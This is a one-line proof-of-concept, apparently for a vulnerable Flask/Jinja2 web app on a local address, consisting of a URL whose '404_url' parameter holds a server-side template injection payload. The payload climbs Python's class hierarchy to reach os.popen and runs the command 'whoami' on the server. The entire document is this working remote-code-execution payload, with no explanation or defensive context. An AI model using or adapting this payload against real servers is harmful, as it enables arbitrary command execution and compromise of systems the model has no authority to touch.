POC

    1. http://192.168.2.128:5000/nono?404_url={{%22%22.__class__.__mro__[1].__subclasses__()[303].__init__.__globals__[%22os%22][%22popen%22](%22whoami%22).read()}}